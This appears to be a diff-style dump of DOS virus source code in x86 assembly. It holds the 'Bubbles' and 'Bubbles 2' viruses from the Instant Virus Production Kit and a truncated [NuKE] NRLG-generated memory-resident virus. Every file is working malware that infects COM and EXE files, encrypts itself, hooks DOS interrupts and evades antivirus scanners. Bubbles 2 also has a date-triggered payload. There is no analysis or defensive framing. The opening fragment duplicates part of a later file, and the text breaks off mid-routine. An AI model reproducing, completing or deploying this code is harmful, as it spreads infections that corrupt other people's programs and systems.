mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
call attributes
retn
move_fp:
mov ah,42h ; Move file pointer
xor cx,cx ; Al has location
xor dx,dx ; Clear these
int 21h
retn
set_dta:
mov ah,1ah ; Move the DTA location
int 21h
retn
open:
mov ah,3dh ; open file
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
xchg ax,bx ; file handle in bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
ret
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return from int 24 call
Virusname db 'Bubbles Virus',10,13 ; Name Of The Virus
Author db 'Admiral Bailey',10,13 ; Author Of This Virus
Made_with db '[IVP]',10,13,'$' ; Please do not remove this
comfilespec db '*.com',0 ; Holds type of file to look for
exefilespec db '*.exe',0 ; Holds type of file to look for
directory db '..',0 ; Directory to change to
oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit
encrypt_infect:
lea si,[bp+offset move_begin] ; Location of where to move from
lea di,[bp+offset workarea] ; Where to move it too
mov cx,move_end-move_begin ; Number of bytes to move
move_loop:
movsb ; Moves this routine into heap
loop move_loop
lea dx,[bp+offset workarea]
call dx ; Jump to that routine just moved
ret
move_begin equ $ ; Marks beginning of move
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Call the encrypt_decrypt procedure
pop bx ; Get handle back in bx and return
mov ah,40h ; Write to file
mov cx,eof-virus ; Number of bytes
lea dx,[bp+offset virus] ; Where to write from
int 21h
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Decrypt the file and return
pop bx ; Get handle back in bx and return
ret
move_end equ $ ; Marks the end of move
encrypt_end equ $ ; Marks the end of encryption
encrypt_decrypt:
lea bx,[bp+encrypt_start] ; Where to start encryption
mov cx,encrypt_end-encrypt_start ; Number of bytes to encrypt
mov dh,[bp+enc_value] ; Value to use for encryption
encrypt_loop:
mov ah,cs:[bx] ; Get a byte in ah
xor ah,dh ; Xor it
mov cs:[bx],ah ; Put it back
inc bx ; Move to next byte and loop
loop encrypt_loop
ret
enc_value db 00h ; Hold the encryption value 00 for nul effect
eof equ $ ; Marks the end of file
workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine
currentdir db 64 dup (?) ; Holds the current dir
dta db 42 dup (?) ; Location of new DTA
buffer db 1ah dup (?) ; Holds exe header
oldint24 dd ? ; Storage for old int 24h handler
code ends
end start
+375
View File
@@ -0,0 +1,375 @@
;---------
; Bubbles Virus written by Admiral Bailey
; Using The Instant Virus Production Kit By Admiral Bailey
; To compile this use TASM /M BUBBLES.ASM
;---------
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
ID = 'AB' ; Id for infected files
start:
db 0e9h,0,0 ; Jump to the next command
virus:
call realcode ; Push current location on stack
realcode:
nop
nop
nop
nop
nop
pop bp ; Get location off stack
sub bp,offset realcode ; Adjust it for our pointer
nop
nop
nop
nop
call encrypt_decrypt ; Decrypt the virus first
encrypt_start equ $ ; From here is encrypted
cmp sp,id ; COM or EXE?
je restoreEXE
lea si,[bp+offset oldjump] ; Location of old jump in si
mov di,100h ; Location of where to put it in di
push di ; Save so we could just return when done
movsb ; Move a byte
movsw ; Move a word
jmp exitrestore
restoreEXE:
push ds ; Save ExE ds
push es ; Save ExE es
push cs
pop ds ; DS now equals CS
push cs
pop es ; ES now equals CS
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
ExitRestore:
lea dx,[bp+offset dta] ; Where to put New DTA
call set_DTA ; Move it
mov ax,3524h ; Get int 24 handler
int 21h ; To ES:BX
mov word ptr [bp+oldint24],bx ; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
mov ah,47h ; Get the current directory
mov dl,0h ; On current drive
lea si,[bp+offset currentdir] ; Where to keep it
int 21h
dirloop:
lea dx,[bp+offset exefilespec]
call findfirst
lea dx,[bp+offset comfilespec]
call findfirst
lea dx,[bp+offset directory] ; Where to change too '..'
mov ah,3bh ; Change directory
int 21h
jnc dirloop ; If no problems the look for files
mov ah,9 ; Display string
lea dx,[bp+virusname]
int 21h
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; To original
int 21h
push cs
pop ds ; Do this because the DS gets changed
lea dx,[bp+offset currentdir] ; Location Of original dir
mov ah,3bh ; Change to there
int 21h
mov dx,80h ; Location of original DTA
call set_dta ; Put it back there
cmp sp,id-4 ; EXE or COM?
jz returnEXE
retn ; Return to 100h to original jump
ReturnEXE:
pop es ; Get original ES
pop ds ; Get original DS
mov ax,es
add ax,10h
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear int's because of stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; Jump ssss:oooo
jmpsave dd ? ; Jump location
stacksave dd ? ; Original cs:ip
jmpsave2 dd 0fff00000h ; Used with carrier file
stacksave2 dd ?
findfirst:
mov ah,4eh ; Find first file
mov cx,7 ; Find all attributes
findnext:
int 21h ; Find first/next file int
jc quit ; If none found then change dir
call infection ; Infect that file
Findnext2:
mov ah,4fh ; Find next file
jmp findnext ; Jump to the loop
quit:
ret
infection:
mov ax,3d00h ; Open file for read only
call open
mov ah,3fh ; Read from file
mov cx,1ah
lea dx,[bp+offset buffer] ; Location to store them
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM' ; EXE?
jz checkEXE ; Why yes, yes it is!
mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
cmp ax,'DN' ; Does End in comma'ND'? (reverse order)
jz quitinfect ; Yup so get another file
CheckCom:
mov bx,[bp+offset dta+1ah] ; Get file size
mov cx,word ptr [bp+buffer+1] ; Get jump loc of file
add cx,eof-virus+3 ; Add for virus size
cmp bx,cx ; Does file size=file jump+virus size
jz quitinfect ; Yup then get another file
jmp infectcom
CheckExe:
cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
jz quitinfect ; Already infected so close up
jmp infectexe
quitinfect:
ret
InfectCom:
sub bx,3 ; Adjust for new jump
lea si,[bp+buffer]
lea di,[bp+oldjump]
movsw
movsb
mov [bp+buffer],byte ptr 0e9h
mov word ptr [bp+buffer+1],bx ; Save for later
mov cx,3 ; Number of bytes to write
jmp finishinfection
InfectExe:
les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
mov word ptr [bp+jmpsave2],ax ; save old cs:ip
mov word ptr [bp+jmpsave2+2],es
les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
mov word ptr [bp+stacksave2],es ; save old cs:ip
mov word ptr [bp+stacksave2+2],ax
mov ax, word ptr [bp+buffer+8] ; get header size
mov cl,4
shl ax,cl
xchg ax,bx
les ax,[bp+offset DTA+26] ; get files size from dta
mov dx,es ; its now in dx:ax
push ax ; save these
push dx
sub ax,bx ; subtract header size from fsize
sbb dx,0 ; subtract the carry too
mov cx,10h ; convert to segment:offset form
div cx
mov word ptr [bp+buffer+14h],dx ; put in new header
mov word ptr [bp+buffer+16h],ax ; cs:ip
mov word ptr [bp+buffer+0eh],ax ; ss:sp
mov word ptr [bp+buffer+10h],id ; put id in for later
pop dx ; get the file length back
pop ax
add ax,eof-virus ; add virus size
adc dx,0 ; add with carry
mov cl,9 ; calculates new file size
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov word ptr [bp+buffer+4],dx ; save new file size in header
mov word ptr [bp+buffer+2],ax
push cs ; es = cs
pop es
mov cx,1ah ; Number of bytes to write (Header)
FinishInfection:
push cx ; save # of bytes to write
xor cx,cx ; Set attriutes to none
call attributes
mov al,2 ; open file read/write
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Location of bytes
pop cx ; Get number of bytes to write
int 21h
jc closefile
mov al,02 ; Move Fpointer to eof
Call move_fp
get_time:
mov ah,2ch ; Get time for our encryption value
int 21h
cmp dh,0 ; If its seconds are zere get another
je get_time
mov [bp+enc_value],dh ; Use seconds value for encryption
call encrypt_infect ; Encrypt and infect the file
closefile:
mov ax,5701h ; Set files date/time back
mov cx,word ptr [bp+dta+16h] ; Get old time from dta
mov dx,word ptr [bp+dta+18h] ; Get old date
int 21h
mov ah,3eh ; Close file
int 21h
xor cx,cx
mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
call attributes
retn
move_fp:
mov ah,42h ; Move file pointer
xor cx,cx ; Al has location
xor dx,dx ; Clear these
int 21h
retn
set_dta:
mov ah,1ah ; Move the DTA location
int 21h
retn
open:
mov ah,3dh ; open file
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
xchg ax,bx ; file handle in bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
ret
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return from int 24 call
Virusname db 'Bubbles Virus',10,13 ; Name Of The Virus
Author db 'Admiral Bailey',10,13 ; Author Of This Virus
Made_with db '[IVP]',10,13,'$' ; Please do not remove this
comfilespec db '*.com',0 ; Holds type of file to look for
exefilespec db '*.exe',0 ; Holds type of file to look for
directory db '..',0 ; Directory to change to
oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit
encrypt_infect:
lea si,[bp+offset move_begin] ; Location of where to move from
lea di,[bp+offset workarea] ; Where to move it too
mov cx,move_end-move_begin ; Number of bytes to move
move_loop:
movsb ; Moves this routine into heap
loop move_loop
lea dx,[bp+offset workarea]
call dx ; Jump to that routine just moved
ret
move_begin equ $ ; Marks beginning of move
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Call the encrypt_decrypt procedure
pop bx ; Get handle back in bx and return
mov ah,40h ; Write to file
mov cx,eof-virus ; Number of bytes
lea dx,[bp+offset virus] ; Where to write from
int 21h
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Decrypt the file and return
pop bx ; Get handle back in bx and return
ret
move_end equ $ ; Marks the end of move
encrypt_end equ $ ; Marks the end of encryption
encrypt_decrypt:
lea bx,[bp+encrypt_start] ; Where to start encryption
mov cx,encrypt_end-encrypt_start ; Number of bytes to encrypt
mov dh,[bp+enc_value] ; Value to use for encryption
encrypt_loop:
mov ah,cs:[bx] ; Get a byte in ah
xor ah,dh ; Xor it
mov cs:[bx],ah ; Put it back
inc bx ; Move to next byte and loop
loop encrypt_loop
ret
enc_value db 00h ; Hold the encryption value 00 for nul effect
eof equ $ ; Marks the end of file
workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine
currentdir db 64 dup (?) ; Holds the current dir
dta db 42 dup (?) ; Location of new DTA
buffer db 1ah dup (?) ; Holds exe header
oldint24 dd ? ; Storage for old int 24h handler
code ends
end start
+427
View File
@@ -0,0 +1,427 @@
;---------
; Bubbles 2 written by Admiral Bailey
;---------
Code Segment Public 'Code'
Assume CS:Code
Org 100h ; All .COM files start here
ID = 'AB' ; Id for infected files
MaxFiles = 3 ; Max number of file to infect
Start:
db 0e9h,2,0 ; Jump to the next command
dw id ; So this file doesnt get infected
Virus:
call realcode ; Push current location on stack
Realcode:
pop bp ; Get location off stack
nop
nop
nop
sub bp,offset realcode ; Adjust it for our pointer
nop
nop
call encrypt_decrypt ; Decrypt the virus first
Encrypt_Start equ $ ; From here is encrypted
cmp sp,id ; Is this file a COM or EXE?
je restoreEXE ; Its an EXE so restore it
lea si,[bp+offset oldjump] ; Location of old jump in si
mov di,100h ; Restore new jump to 100h
push di ; Save so we could just return when done
movsb ; Move a byte
movsw ; Move a word
movsw ; Move another word
jmp exitrestore
RestoreEXE:
push ds ; Save ExE ds
push es ; Save ExE es
push cs
pop ds ; DS now equals CS
push cs
pop es ; ES now equals CS
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
ExitRestore:
lea dx,[bp+offset dta] ; Where to put New DTA
call set_DTA ; Move it
mov [bp+counter],byte ptr 0 ; Clear counter
mov ax,3524h ; Get int 24 handler
int 21h ; It gets put in ES:BX
mov word ptr [bp+oldint24],bx ; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; Loc of new one in DS:DX
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
mov ah,47h ; Get the current directory
mov dl,0h ; On current drive
lea si,[bp+offset currentdir] ; Where to keep it
int 21h
DirLoop:
lea dx,[bp+offset exefilespec] ; Files to look for
call findfirst
lea dx,[bp+offset comfilespec] ; Files to look for
call findfirst
lea dx,[bp+offset directory] ; Where to change too '..'
mov ah,3bh ; Change directory
int 21h
jnc dirloop ; If no problems the look for files
call activate ; Call the activation routine
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; To original
int 21h
push cs
pop ds ; Do this because the DS gets changed
lea dx,[bp+offset currentdir] ; Location Of original dir
mov ah,3bh ; Change to there
int 21h
mov dx,80h ; Location of original DTA
call set_dta ; Put it back there
cmp sp,id-4 ; Is this file an EXE or COM?
jz returnEXE ; Its an EXE!
retn ; Return to 100h (original jump)
ReturnEXE:
pop es ; Get original ES
pop ds ; Get original DS
mov ax,es
add ax,10h
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear int's because of stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; Jump ssss:oooo
jmpsave dd ? ; Jump location
stacksave dd ? ; Original cs:ip
jmpsave2 dd 0fff00000h
stacksave2 dd ?
FindFirst:
cmp [bp+counter],maxfiles ; Have we infected Too many
ja quit ; Yup
mov ah,4eh ; Find first file
mov cx,7 ; Find all attributes
FindNext:
int 21h ; Find first/next file int
jc quit ; If none found then change dir
call infection ; Infect that file
FindNext2:
mov ah,4fh ; Find next file
jmp findnext ; Jump to the loop
Quit:
ret
Infection:
mov ax,3d00h ; Open file for read only
call open
mov ah,3fh ; Read from file
mov cx,1ah ; Number of bytes
lea dx,[bp+offset buffer] ; Location to store them
int 21h
mov ah,3eh ; Close file
int 21h
mov ax,word ptr [bp+DTA+1Ah] ; Get filesize from DTA
cmp ax,64000 ; Is the file too large?
ja quitinfect ; file to large so getanother
cmp ax,600 ; Is the file too small?
jb quitinfect ; file to small so getanother
cmp word ptr [bp+buffer],'ZM' ; Is file found an EXE?
jz checkEXE ; Yup so check it
mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
cmp ax,'DN' ; Does it end in 'ND'?
jz quitinfect ; Yup so get another file
CheckCom:
mov bx,word ptr [bp+offset dta+1ah] ; Get file size
cmp word ptr cs:[bp+buffer+3],id ; Check for ID
je quitinfect
jmp infectcom
CheckExe:
cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
jz quitinfect ; Already infected so close up
jmp infectexe
QuitInfect:
ret
InfectCom:
sub bx,3 ; Adjust for new jump
lea si,[bp+buffer] ; Move the old jump first
lea di,[bp+oldjump]
movsb
movsw
movsw
mov [bp+buffer],byte ptr 0e9h ; Setup new jump
mov word ptr [bp+buffer+1],bx ; Save new jump
mov word ptr [bp+buffer+3],id ; Put in ID
mov cx,5 ; Number of bytes to write
jmp finishinfection
InfectExe:
les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
mov word ptr [bp+jmpsave2],ax ; save old cs:ip
mov word ptr [bp+jmpsave2+2],es
les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
mov word ptr [bp+stacksave2],es ; save old cs:ip
mov word ptr [bp+stacksave2+2],ax
mov ax, word ptr [bp+buffer+8] ; get header size
mov cl,4
shl ax,cl
xchg ax,bx
les ax,[bp+offset DTA+26] ; get files size from dta
mov dx,es ; its now in dx:ax
push ax ; save these
push dx
sub ax,bx ; subtract header size from fsize
sbb dx,0 ; subtract the carry too
mov cx,10h ; convert to segment:offset form
div cx
mov word ptr [bp+buffer+14h],dx ; put in new header
mov word ptr [bp+buffer+16h],ax ; cs:ip
mov word ptr [bp+buffer+0eh],ax ; ss:sp
mov word ptr [bp+buffer+10h],id ; put id in for later
pop dx ; get the file length back
pop ax
add ax,eof-virus ; add virus size
adc dx,0 ; add with carry
mov cl,9 ; calculates new file size
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov word ptr [bp+buffer+4],dx ; save new file size in header
mov word ptr [bp+buffer+2],ax
push cs ; es = cs
pop es
mov cx,1ah ; Size of EXE header
FinishInfection:
push cx ; save # of bytes to write
xor cx,cx ; Set attriutes to none
call attributes
mov al,2 ; open file read/write
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Location of bytes
pop cx ; Get number of bytes to write
int 21h
jc closefile
mov al,02 ; Move Fpointer to eof
Call move_fp
get_time:
mov ah,2ch ; Get time for encryption value
int 21h
cmp dh,0 ; If its seconds are zero get another
je get_time
mov [bp+enc_value],dh ; Use seconds value for encryption
call encrypt_infect ; Encrypt and infect the file
inc [bp+counter] ; Increment the counter
CloseFile:
mov ax,5701h ; Set files date/time back
mov cx,word ptr [bp+dta+16h] ; Get old time from dta
mov dx,word ptr [bp+dta+18h] ; Get old date
int 21h
mov ah,3eh ; Close file
int 21h
xor cx,cx
mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
call attributes
retn
Activate:
mov ah,2ah ; Get current date
int 21h
cmp cx,1993 ; Check current Year
jb dont_activate
cmp dl,13 ; Check current Day
jne dont_activate
mov ah,2ch ; Get current time
int 21h
cmp ch,13 ; Check current hour
jne dont_activate
mov ah,9 ; Display string
lea dx,[bp+messege] ; The string to display
int 21h
mov cx,2
include .\routines\phasor.rtn ; Include file
Dont_Activate:
ret
Move_Fp:
mov ah,42h ; Move file pointer
xor cx,cx ; Al has location
xor dx,dx ; Clear these
int 21h
retn
Set_DTA:
mov ah,1ah ; Move the DTA location
int 21h ; DX has location
retn
Open:
mov ah,3dh ; open file
lea dx,[bp+DTA+30] ; Filename in DTA
int 21h
xchg ax,bx ; put file handle in bx
ret
Attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
ret
int24: ; New Int 24h
mov al,3 ; Fail call
iret ; Return from int 24 call
Virusname db 'Bubbles 2' ; Name Of The Virus
Author db 'Admiral Bailey' ; Author Of This Virus
messege:
db 'Bubbles 2 : Its back and better then ever.',10,13
db ' ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^',10,13
db 'Is it me or does that Make no sense at all?',10,13
Made_with db '[IVP2]',10,13,'$' ; Please do not remove this
comfilespec db '*.com',0 ; Holds type of file to look for
exefilespec db '*.exe',0 ; Holds type of file to look for
directory db '..',0 ; Directory to change to
oldjump db 0cdh,020h,0,0,0 ; Old jump. Is int 20h for file quit
Encrypt_Infect:
lea si,[bp+offset move_begin] ; Location of where to move from
lea di,[bp+offset workarea] ; Where to move it too
mov cx,move_end-move_begin ; Number of bytes to move
move_loop:
movsb ; Moves this routine into heap
loop move_loop
lea dx,[bp+offset workarea]
call dx ; Jump to that routine just moved
ret
Move_Begin equ $ ; Marks beginning of move
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Call the encrypt_decrypt procedure
pop bx ; Get handle back in bx and return
mov ah,40h ; Write to file
mov cx,eof-virus ; Number of bytes
lea dx,[bp+offset virus] ; Where to write from
int 21h
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Decrypt the file and return
pop bx ; Get handle back in bx and return
ret
move_end equ $ ; Marks the end of move
Encrypt_End equ $ ; Marks the end of encryption
Encrypt_Decrypt:
mov cx,encrypt_end-encrypt_start ; bytes to encrypt
lea si,cs:[bp+encrypt_start] ; start of encryption
mov di,si
encloop:
lodsb
xor ah,cs:[bp+enc_value]
stosb
loop encloop
ret
Enc_Value db 00h ; Hold the encryption value 00 for nul effect
EOF equ $ ; Marks the end of file
Counter db 0 ; Infected File Counter
Workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine
currentdir db 64 dup (?) ; Holds the current dir
DTA db 42 dup (?) ; Location of new DTA
Buffer db 1ah dup (?) ; Holds exe header
OldInt24 dd ? ; Storage for old int 24h handler
Filler db 3000 dup (0)
eov equ $ ; Used For Calculations
code ends
end start
;---------
; Instant Virus Production Kit By Admiral Bailey - Youngsters Against McAfee
; To compile this use TASM /M FILENAME.ASM
; Then type tlink /t FILENAME.OBJ
;---------
+454
View File
@@ -0,0 +1,454 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿnot byte ptr [di]
inc byte ptr [di]
not byte ptr [di]
add byte ptr [di],020h
add word ptr [di],0f8eah
sub byte ptr [di],01h
inc byte ptr [di]
add byte ptr [di],049h
inc byte ptr [di]
xor word ptr [di],0165dh
sub byte ptr [di],03bh
sub byte ptr [di],0d0h
inc word ptr [di]
sub byte ptr [di],039h
inc byte ptr [di]
inc byte ptr [di]
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿcall ANTI_V
;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿdec byte ptr [di]
dec byte ptr [di]
add byte ptr [di],039h
dec word ptr [di]
add byte ptr [di],0d0h
add byte ptr [di],03bh
xor word ptr [di],0165dh
dec byte ptr [di]
sub byte ptr [di],049h
dec byte ptr [di]
add byte ptr [di],01h
sub word ptr [di],0f8eah
sub byte ptr [di],020h
not byte ptr [di]
dec byte ptr [di]
not byte ptr [di]
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
